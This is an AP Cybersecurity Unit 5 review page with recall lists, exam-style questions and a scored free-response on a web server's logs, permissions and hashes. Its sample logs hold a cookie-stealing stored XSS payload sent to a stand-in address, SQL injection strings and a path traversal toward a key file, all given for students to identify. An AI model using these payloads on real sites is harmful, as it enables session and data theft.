AP® Cybersecurity · Unit 5 review
Unit 5 review: Securing Applications and Data
Recall the lists, answer 12 exam-style questions (aim for 18 minutes, about 80 seconds each), then try a free-response question and mark it with the scoring guide.
Abbreviations on this page. SQL: structured query language. XSS: cross site scripting. HTTP: hypertext transfer protocol. URL: uniform resource locator. PII: personally identifiable information. PHI: protected health information. PCI: payment card information. RBAC, RuBAC, DAC and MAC: role-based, rule-based, discretionary and mandatory access control. AES: Advanced Encryption Standard. RSA and ECC: two asymmetric algorithms (ECC is elliptic curve cryptography). DLP: data loss prevention. IP: internet protocol. SHA: Secure Hash Algorithm.
Unit 5 by the numbers
Say each list out loud, then tap to check.
3 ways files are exposed Say them, then tap
- unencrypted files
- regular users with administrative privileges
- weak access control settings
4 application attacks Say them, then tap
2 types of XSS Say them, then tap
- Type I reflected
- Type II stored
3 risk levels for data Say them, then tap
- high
- moderate
- low
3 data states Say them, then tap
3 regulated data types Say them, then tap
4 access control models Say them, then tap
- role-based (RBAC)
- rule-based (RuBAC)
- discretionary (DAC)
- mandatory (MAC)
3 Linux permissions Say them, then tap
- read (r, 4)
- write (w, 2)
- execute (x, 1)
3 entities Say them, then tap
2 key classifications Say them, then tap
- symmetric (one key)
- asymmetric (two keys)
2 processing classifications Say them, then tap
AES block size Say them, then tap
- 128 bits
- which is 16 bytes
3 ways to encrypt Say them, then tap
- command line (OpenSSL)
- specialized software (AES Crypt)
- web-based tools
2 keys in a pair Say them, then tap
Keyspace of an n-bit key Say them, then tap
2 common asymmetric algorithms Say them, then tap
4 OpenSSL steps Say them, then tap
- genrsa (make the pair)
- rsa -pubout (extract public key)
- pkeyutl -encrypt -pubin
- pkeyutl -decrypt
3 secure by design principles Say them, then tap
- take ownership of customer security outcomes
- embrace radical transparency and accountability
- build organizational structure and leadership
3 control characters Say them, then tap
- single quote
- double quote
- semicolon
3 attacks input sanitization blocks Say them, then tap
3 suspicious data activities Say them, then tap
- accessing files not typically accessed
- access outside a user's normal patterns (time, location, device type)
- attempts to delete or copy sensitive files
3 criteria for detective controls Say them, then tap
- cost
- sensitivity or criticality
- classification
3 hash commands Say them, then tap
- Get-FileHash testfile -Algorithm SHA256 (PowerShell)
- sha256sum (bash)
- shasum -a 256 (zsh)
4 SQL injection signs Say them, then tap
- single or double quotes
- Boolean conditions like OR 1=1
- a double dash --
- SQL control words in capitals like WHERE
- IN
- FROM
4 buffer overflow fields Say them, then tap
- URL length
- cookie length
- query string length
- total request length
Do these first: official sample questions 2, 3, 11, 18, 19 and 20
Open the AP® Cybersecurity Course and Exam Description (College Board, effective Fall 2026) and go to the Exam Information section. Questions 2 and 3 are on page 150, Question 11 on page 154, and Questions 18, 19 and 20 on page 157. Question 5 on page 151 (comparing file hashes) also connects to topic 5.6. The sample free-response question (Device Security Analysis) also draws on Unit 5. Check your answers with the answer key at the end of the Exam Information section.
AP® Cybersecurity course page on AP Central (the Course and Exam Description PDF is linked there). The questions are © College Board and are not reproduced here.
Checkpoint · 12 questions
Unit 5 practice: 12 exam-style questions
Pick an answer to mark it. Every answer is explained, and you can try any question again. Your saved score counts first tries only, and stays in this browser.
-
A summer intern who only needs to read the event calendar accidentally deletes the finance team's budget files. The shared folder gives every staff account read and write access.
-
Questions 3 and 4 refer to the following log from a theater's ticketing web application.
access.log (user input decoded) Line Source IP Request Status L1 10.12.0.40 GET /tickets?event=jazz-night 200 L2 198.51.100.23 GET /tickets?event=jazz' OR 1=1 -- 200 L3 198.51.100.23 GET /posters?img=../../../../srv/keys/server.key 403 L4 10.12.0.41 GET /tickets?event=rock-fest 200 -
Questions 3 and 4 refer to the following log from a theater's ticketing web application.
access.log (user input decoded) Line Source IP Request Status L1 10.12.0.40 GET /tickets?event=jazz-night 200 L2 198.51.100.23 GET /tickets?event=jazz' OR 1=1 -- 200 L3 198.51.100.23 GET /posters?img=../../../../srv/keys/server.key 403 L4 10.12.0.41 GET /tickets?event=rock-fest 200 -
On a video editing platform, the person who uploads a clip owns it and decides which teams can work on it. Owners can add or remove a team's access at any time, and only platform administrators can override them.
-
A hospital must send lab results to a clinic it has never worked with. Both use asymmetric encryption and have published their public keys.
-
An adversary copied a product design folder from a company's server. The company had a honeypot file named all_customer_cards.xlsx in a different folder, but it never raised an alert.
Free-response practice
Device Security Analysis practice. On the AP® exam, the single free-response question gives several sources about one device. This original question uses Unit 5 skills. Suggested time: 20 minutes. 8 points.
The following sources all come from one web server, SHOP-WEB-02 (IP address 10.40.1.20), which runs an online craft shop. The shop's administrators belong to the group webadmins; the web application runs as the user www.
Source 1: Web application access log (user input decoded)
| Line | Time | Source IP | Request | Status |
|---|---|---|---|---|
| 1 | 14:02 | 10.40.3.15 | GET /shop?item=wool-scarf | 200 |
| 2 | 14:05 | 192.0.2.77 | POST /reviews text=Lovely colors! <script>new Image().src="//192.0.2.77/c?"+document.cookie</script> | 201 |
| 3 | 14:09 | 192.0.2.77 | GET /shop?item=x' UNION SELECT name, email FROM customers -- | 200 |
| 4 | 14:12 | 10.40.3.16 | GET /shop?item=clay-mug | 200 |
Source 2: ls -l in the web application folder
| Permissions | Owner | Group | File |
|---|---|---|---|
| -rw-r----- | www | webadmins | shop.php |
| -rw-rw-rw- | www | webadmins | db.conf (database password) |
| -rwxr-x--- | www | webadmins | nightly_backup.sh |
Source 3: SHA-256 hashes (shortened), baseline from last week and today; no updates were installed in between
| File | Baseline hash | Today's hash |
|---|---|---|
| shop.php | 6b2e...90af | 6b2e...90af |
| checkout.php | c13d...5e21 | 8f70...b3c4 |
| customers.db (export) | 47aa...0d19 | 47aa...0d19 |
Questions
- A1. Identify the attack attempted in Source 1, line 2. Cite the evidence and state who is harmed if it succeeds.
- A2. Identify the attack attempted in Source 1, line 3, and describe one control in the application that would prevent both attacks in lines 2 and 3.
- B1. Identify the file in Source 2 whose permissions are a vulnerability. Explain why, and give a chmod command (numeric method) that applies least privilege, given that only the owner, www, ever needs to read and write it.
- C1. Using Source 3, identify the file that was altered and explain how you know.
- C2. The hash check in Source 3 found the change only today. Describe one detective control that could have alerted the shop while the attack in Source 1 was happening, and explain why.
Check with the scoring guide (8 points)
| Part | Earns the point | Does not earn the point |
|---|---|---|
| A1 (2) | 1 point: stored (Type II) cross site scripting (XSS). 1 point: evidence: a script tag posted in a review and saved (status 201), which would run in the browsers of shoppers who view the review and send their cookies to 192.0.2.77. | SQL injection, or "XSS" with no evidence or no mention of the visitors being affected. |
| A2 (2) | 1 point: SQL injection (a quote, SQL control words UNION, SELECT, FROM in capitals, and the -- comment). 1 point: input sanitization or validation: a verification function that removes control characters such as quotes and < > or rejects the input before it is processed. | A detective control such as a honeypot, or encryption, offered as the prevention. |
| B1 (2) | 1 point: db.conf, because rw-rw-rw- gives all other users read and write access to the database password (weak access control). 1 point: chmod 600 db.conf. | nightly_backup.sh, or a command such as chmod 640 or 644 that still gives the group or others access. |
| C1 (1) | checkout.php: its hash changed between the baseline and today with no updates installed, so the file was altered. | A file whose hash matched. |
| C2 (1) | Realtime automated log analysis (alerting on script tags, quotes with OR or UNION SELECT), a DLP tool, or a honeypot file, because these alert as the attack happens instead of afterward. | Another hash check or a monthly log review (both find attacks only after they occur), or a preventive control such as input sanitization. |